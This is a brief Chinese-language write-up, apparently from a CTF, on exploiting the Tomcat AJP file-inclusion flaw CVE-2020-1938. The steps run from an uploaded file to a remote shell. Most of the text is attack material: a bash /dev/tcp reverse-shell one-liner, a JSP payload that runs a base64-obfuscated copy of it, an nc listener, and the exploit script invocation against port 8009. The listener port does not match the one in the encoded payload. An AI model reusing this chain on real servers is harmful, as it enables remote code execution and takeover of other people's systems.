之前的新生赛也打过。。。

https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

用到的是文件包含漏洞

准备工作

首先服务器的端口要打开。。。

http://www.jackson-t.ca/runtime-exec-payloads.html

在这编译下

bash -i >& /dev/tcp/服务器/端口号 0>&1

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

替换中间的exec指令即可,保存为shell.txt

复现过程

在目标服务器上传shell.txt,然后需要知道上传的文件名

监听端口号

1
nc -lvp 14888

替换下面指令

1
python Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /WEB-INF/uploads/???.txt 服务器

然后就getshell了

参考:http://www.svenbeast.com/post/fqSI9laE8/